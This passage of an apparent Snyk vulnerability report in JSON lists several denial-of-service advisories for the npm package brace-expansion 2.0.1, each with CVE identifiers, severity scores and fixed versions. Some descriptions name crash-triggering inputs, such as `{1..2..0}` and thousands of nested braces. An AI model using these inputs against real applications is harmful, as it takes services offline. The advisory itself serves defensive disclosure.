"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
